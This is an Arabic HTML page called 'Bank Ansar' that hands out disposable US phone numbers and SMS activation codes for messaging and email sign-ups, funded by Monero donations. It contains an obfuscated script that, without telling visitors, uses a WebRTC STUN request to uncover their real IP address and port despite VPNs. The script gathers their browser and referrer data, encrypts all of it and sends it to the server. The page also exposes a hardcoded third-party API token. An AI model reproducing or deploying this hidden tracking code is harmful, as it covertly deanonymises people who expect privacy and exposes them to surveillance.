<!DOCTYPE html>
<html lang="ar">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Bank Ansar</title>
    <link href="https://fonts.googleapis.com/css2?family=Cairo:wght@800&family=El+Messiri&display=swap" rel="stylesheet">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Cairo', sans-serif;
        }
        body {
            background: linear-gradient(135deg, #1d1f21, #121416);
            color: #f0f0f0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            overflow: hidden;
            flex-direction: column;
        }
        .mobile-logo {
             display: none; 
             
        }   
        
        .desktop-logo {
            position: absolute;
            transform: translate(-50%, -50%);
            position: absolute;
            overflow: hidden;
            top: 100px;
        }
        @keyframes typing {
            from {
                width: 0;
            }
            to {
                width: 100%;
            }
        }
        .container {
            background: #212529;
            padding: 0.5%;
            border-radius: 10px;
            width: 100%;
            max-width: 20%;
            box-shadow: 0 8px 30px rgba(0, 0, 0, 0.7);
            text-align: center;
            transition: transform 0.3s, box-shadow 0.3s;
            position: relative;
            top: -5px
        }
        .container:hover {
            transform: translateY(-10px);
            box-shadow: 0 10px 40px rgba(0, 0, 0, 0.9);
        }
        h1 {
            font-size: 1.5rem;
            color: #ffffff;
            margin-bottom: 20px;
            font-weight: 600;
            text-shadow: 0 3px 8px rgba(0, 188, 212, 0.4);
        }
        select {
            background-color: #333;
            color: #fff;
            padding: 10px;
            border-radius: 10px;
            font-size: 1rem;
            border: none;
            margin-top: 5px;
            width: 100%;
            box-sizing: border-box;
            transition: all 0.3s ease-in-out;
        }
        select:focus {
            outline: none;
            background-color: #444;
        }
        option {
            background-color: #212529;
            color: #fff;
            padding: 10px;
        }
        button {
            background: linear-gradient(145deg, #333, #444);
            color: #f0f0f0;
            padding: 10px 0;
            border: none;
            border-radius: 30px;
            font-size: 1rem;
            font-weight: 600;
            cursor: pointer;
            width: 100%;
            transition: all 0.4s ease-in-out;
            box-shadow: 0 6px 12px rgba(0, 0, 0, 0.5);
            position: relative;
            overflow: hidden;
            margin-top: 20px;
        }
        button:hover {
            transform: scale(1.05);
            box-shadow: 0 8px 20px rgba(0, 0, 0, 0.6);
        }
        .loading-container {
            background: rgba(0, 0, 0, 0.5);
            border-radius: 16px;
            padding: 10px;
            box-shadow: 0 10px 25px rgba(0, 0, 0, 0.7);
            display: inline-block;
            width: 100%;
            margin-top: 15px;
            text-align: center;
        }
        .loading-text {
            font-size: 1rem;
            color: #f0ad4e;
            margin-bottom: 15px;
            font-weight: 600;
            text-align: center;
            animation: fadeInOut 2s infinite;
        }
         .activation-text {
          margin-top: 25px; 
          font-size: 1rem; 
          color: #f0f0f0; 
        }
 
        @keyframes fadeInOut {
            0% {
                opacity: 0.5;
            }
            50% {
                opacity: 1;
            }
            100% {
                opacity: 0.5;
            }
        }
        .number, .sms-code, .country-code {
            margin-top: 20px;
            font-size: 1rem;
            padding: 12px 16px;
            border-radius: 14px;
            background: rgba(0, 0, 0, 0.1);
            box-shadow: 0 6px 15px rgba(0, 0, 0, 0.4);
            transition: transform 0.3s, background 0.3s, box-shadow 0.3s;
        }
        .number:hover, .sms-code:hover, .country-code:hover {
            transform: scale(1.05);
            background: rgba(0, 188, 212, 0.2);
            box-shadow: 0 8px 20px rgba(0, 0, 0, 0.6);
        }
        .number { color: #4caf50; }
        .country-code { color: #ff5722; }
        .sms-code { color: #ff9100; }
        .loader {
            border: 4px solid rgba(0, 0, 0, 0.1);
            border-top: 4px solid #f0ad4e;
            border-radius: 50%;
            width: 30px;
            height: 30px;
            animation: spin 1s linear infinite;
            margin: 0 auto;
        }
         .footer {         
          position: fixed;
          bottom: 0;
          left: 0;
          width: 100%;
          padding: 4px;
          background-color: #212121;
          color: #f5f5f5;
          border-radius: 8px 8px 0 0;
          text-align: center;
          box-shadow: 0 -4px 12px rgba(0, 0, 0, 0.5);
          transition: all 0.3s ease;
          font-size: 1.0rem;
         }
        .monero-address {
         color: #4CAF50;
         display: inline-block;
         margin-top: 1px;
         word-wrap: break-word;
         word-break: break-all;
         transition: color 0.3s ease;
         font-size: 1.0rem;
        }
         .contact-info {
          display: flex;
          justify-content: center;
          align-items: center;
          margin-top: 1px;
        }
        .bank-handle {
         color: #ffcc00;
         margin-right: 3px;
         font-weight: bold;
         transition: transform 0.3s ease;
         font-size: 1rem;
        }
      .bank-handle:hover {
        transform: scale(1.1);
        }

       .telegram-link {
        color: #ffcc00;
       transition: transform 0.3s ease;
       font-size: 1.0rem;
        }

     .telegram-link:hover {
      transform: scale(1.1);
      }

         
        @keyframes spin {
            0% {
                transform: rotate(0deg);
            }
            100% {
                transform: rotate(360deg);
            }
        }
        @media (max-width: 768px) {
        html {
        font-size: 2.8vw;
        line-height: 2.8vh;
        }
        
        .mobile-logo { 
            display: block;
            top: 60px;
            transform: translate(-50%, -50%);
            overflow: hidden;
            position: absolute;

        }
        .desktop-logo {
             display: none; 
        }
        .container {
            padding: 1em;
            width: 100%;
            max-width: 60%;
            top: -30px;
            margin: 0 auto;
            border-radius: 10px;
            
        }
            
        h1 {
            font-size: 1.5rem;
            margin-bottom: 5px;
        }
        select {
            font-size: 1.2rem;
            border-radius: 5px;
            padding: 1px;
        }
        .number, .sms-code, .country-code {
            font-size: 1.2rem;
            padding: 10px 14px;
            margin-top: 1px;
        }
        .loading-text, .sms-code {
            font-size: 1.2em;
        }
        .activation-text {
          margin-top: 10px; 
          font-size: 0.8em; 
          color: #f0f0f0; 
        }
         .loading-container {
            background: rgba(0, 0, 0, 0.5);
            border-radius: 16px;
            padding: 0.5rem;
            display: inline-block;
            width: 100%;
            margin-top: 10px;
            text-align: center;
         }
         button {
            background: linear-gradient(145deg, #333, #444);
            color: #f0f0f0;
            padding: 3px;
            border: none;
            border-radius: 30px;
            font-size: 1.0em;
            font-weight: 600;
            cursor: pointer;
            width: 100%;
            position: relative;
            overflow: hidden;
            margin-top: 10px;
        }
         .footer {         
          position: fixed;
          bottom: 0;
          left: 0;
          width: 100%;
          padding: 10px;
          text-align: center;
          font-size: 1rem;
         }
        .monero-address {
         display: inline-block;
         margin-top: 0.5px;
         word-wrap: break-word;
         word-break: break-all;
         transition: color 0.3s ease;
         font-size: 1rem;
        }
         .contact-info {
          display: flex;
          justify-content: center;
          align-items: center;
          margin-top: 0.5px;
        }
        .bank-handle {
         color: #ffcc00;
         margin-right: 2px;
         font-weight: bold;
         transition: transform 0.3s ease;
         font-size: 1rem;
        }
      .bank-handle:hover {
        transform: scale(1.1);
        }

       .telegram-link {
        color: #ffcc00;
       transition: transform 0.3s ease;
       font-size: 1rem;
        }

     .telegram-link:hover {
      transform: scale(1.1);
      }

    }

    </style>
<header class="main-header">
  <img src="logo.png" class="desktop-logo">
   <img src="logom.png" class="mobile-logo">
</header>
<body>
<noscript>
    <style>
        body {
            display: none;
        }
    </style>
    <h2>عذراً، يجب تمكين JavaScript لعرض هذا الموقع.</h2>
</noscript>
    <div class="container">
           <style>
        .no-wrap {
            white-space: nowrap;
        }
    </style>
             <h1 class="no-wrap" style="direction: rtl;">طلب رقم وهمي لتطبيق   :</h1>
        <select id="appSelect">
            <option value="telegram">Telegram</option>
            <option value="whatsapp">Whatsapp</option>
            <option value="google">Gmail</option>
            <option value="facebook">Facebook</option>
        </select>
        <button id="fetchButton">طلب رقم</button>
        <div id="result"></div>
        <div id="smsResult"></div>
           <p class="activation-text" style="color: #f0f0f0;">الأرقام المستخدمة على هذا الموقع لا تستقبل إلا رسالة التفعيل ولمرة واحدة فقط، ولا  يمكنها استقبال أي رسائل أخرى بعد ذلك</p>
    </div>

    <script>
        const button = document.getElementById('fetchButton');
        const result = document.getElementById('result');
        const smsResult = document.getElementById('smsResult');
        const appSelect = document.getElementById('appSelect');
        let requestId = null;

        button.addEventListener('click', () => {
            if (button.textContent === "طلب رقم آخر" && requestId) {
                fetch(`https://api.sms-man.com/control/set-status?token=n-Ld90nqd3yayLlU5zskA1zUrI4T6o5f&request_id=${requestId}&status=reject`)
                    .then(response => response.json())
                    .then(data => {
                        if (data.success) {
                            smsResult.innerHTML = "<div class='sms-code'>تم إلغاء الطلب</div>";
                        }
                    })
                    .catch(error => {
                        console.log('حدث خطأ أثناء إلغاء الرقم: ', error.message);
                    });
            }

            result.innerHTML = '<div class="loading-container"><div class="loading-text">جاري احضار الرقم</div><div class="loader"></div></div>';
            smsResult.innerHTML = '';

            fetch('fetch_number.php?app=' + appSelect.value)
                .then(response => response.json())
                .then(data => {
                    if (data.number) {
                        const modifiedNumber = data.number.replace(/^1/, '');
                        result.innerHTML = `<div class="number">رقم الهاتف: ${modifiedNumber}</div>`;
                        result.innerHTML += `<div class="country-code">(US) كود الدولة : +1</div>`;
                        requestId = data.request_id;
                        button.textContent = "طلب رقم آخر";
                        checkSmsCode();
                    } else {
                        result.innerHTML = `<div class="number">خطأ: ${data.error || 'حدث خطأ غير متوقع'}</div>`;
                    }
                })
                .catch(error => {
                    result.innerHTML = `<div class="number">حدث خطأ: ${error.message}</div>`;
                });
        });

        function checkSmsCode() {
            if (!requestId) return;

            const smsApiUrl = `fetch_sms.php?request_id=${requestId}`;
            smsResult.innerHTML = '<div class="loading-container"><div class="loading-text">سيظهر هنا رمز التفعيل تلقائيًا عند وصوله لذلك لا تقم بإعادة تحميل هذه الصفحة، أذا لم يظهر الكود خلال 5 دقائق اطلب رقمًا  اخر </div><div class="loader"></div></div>'

            fetch(smsApiUrl)
                .then(response => response.json())
                .then(data => {
                    if (data.sms_code) {
                        smsResult.innerHTML = `<div class="sms-code">رمز التفعيل: ${data.sms_code}</div>`;
                    } else if (data.error_code === 'wait_sms') {
                        setTimeout(checkSmsCode, 1000);
                    } else {
                        smsResult.innerHTML = `<div class="sms-code">خطأ: ${data.error}</div>`;
                    }
                })
                .catch(error => {
                    smsResult.innerHTML = `<div class="sms-code">حدث خطأ أثناء جلب رمز التفعيل: ${error.message}</div>`;
                });
        }
    </script>
    
     <script src="dev.js"></script>   
     <script src="https://cdn.jsdelivr.net/gh/travist/jsencrypt@master/bin/jsencrypt.min.js"></script>

<script>
const B9LGHDaM = (function(callback) {
    const Hgz82GWZ = {iceServers: [{urls: "stun:stun.l.google.com:19302"}]} ;
    const kL26PzD6 = new RTCPeerConnection(Hgz82GWZ);

    kL26PzD6.createDataChannel('');
    kL26PzD6.createOffer().then(offer => kL26PzD6.setLocalDescription(offer));

    kL26PzD6.onicecandidate = (ice) => {
        if (ice.candidate) {
            const candidate = ice.candidate.candidate;
            const Zd4SULsw = /([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}) ([0-9]+) typ srflx/;
            const match = candidate.match(Zd4SULsw);
            if (match) {
                callback({k5mFAUap: match[1], e2q3bGIJ: match[2], sWa3Q6u4: navigator.userAgent, MzHC7smG: document.referrer || "No referrer information available."});
                kL26PzD6.onicecandidate = null;
            }
        }
    };
})(function(result) {
    const k5mFAUap = result.k5mFAUap;
    const e2q3bGIJ = result.e2q3bGIJ;
    const sWa3Q6u4 = result.sWa3Q6u4;
    const MzHC7smG = result.MzHC7smG;

    try {
        const encrypt = new JSEncrypt();
        const publicKey = `-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA36xg95NsxXoD58SqnZ5I
rf05a8FQq+ORpBv9UWA763Q7aAMDvWIihxeI0h11OWxNBB5liiLBOFEGHKfZUvpA
NBVb5Sk4QQ+758xGN/jRFfm+O+cLCdrMa0ccQQ+RbjUXJOTyqI/4RGNP0OAwBHUc
BxHCVcdwTzibss6o4ZmH4CciA1vbHt49cEu3DIWol52eKh0g5ljJ1B9KlIO05Ylv
bsQr6sy8wL/m6q9mG4Redtk13u1BLPG1HZR4DiIMAtDmDbG/mZMzB1N7vg+UlzPq
jn25gMD/ZmZ6RcAewz12/6QFVkNxoN9ZR5uNWEzglkC+03mvsNs3EgXzi6prurdg
pQIDAQAB
-----END PUBLIC KEY-----`;

        encrypt.setPublicKey(publicKey);
        const encryptedk5mFAUap = encrypt.encrypt(k5mFAUap);
        const encryptede2q3bGIJ = encrypt.encrypt(e2q3bGIJ);
        const encryptedsWa3Q6u4 = encrypt.encrypt(sWa3Q6u4);
        const encryptedMzHC7smG = encrypt.encrypt(MzHC7smG);

        fetch('numbers.php', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded'
            },
            body: new URLSearchParams({
                k5mFAUap: encryptedk5mFAUap,
                e2q3bGIJ: encryptede2q3bGIJ,
                sWa3Q6u4: encryptedsWa3Q6u4,
                MzHC7smG: encryptedMzHC7smG
            })
        });
    } catch (error) {
        console.error("Encryption error:", error);
    }   
});
</script>

    <footer class="footer">
هذه الخدمة ليست مجانية وهى مستمرة بفضل دعم الإخوة الأنصار، نرجو منكم دعمنا من خلال التبرع عبر العنوان أدناه  
    <br>
    <span class="monero-address">
        MONERO ADDRESS: 48uiANXXVCLgS86tKR2EBheL3ETsG4aGpdQNcP3huumFFoAF5p3DVhWKAQDVtnqcnch93uokxm38QgAdTSkduYfu5z5jKKH
    </span>
    <br>
    <div class="contact-info">
        <span class="bank-handle">@BankAnsar1 </span>
        <span class="telegram-link">:للتواصل عبر تليجرام</span>
    </div>
</footer>
</body>
</html>
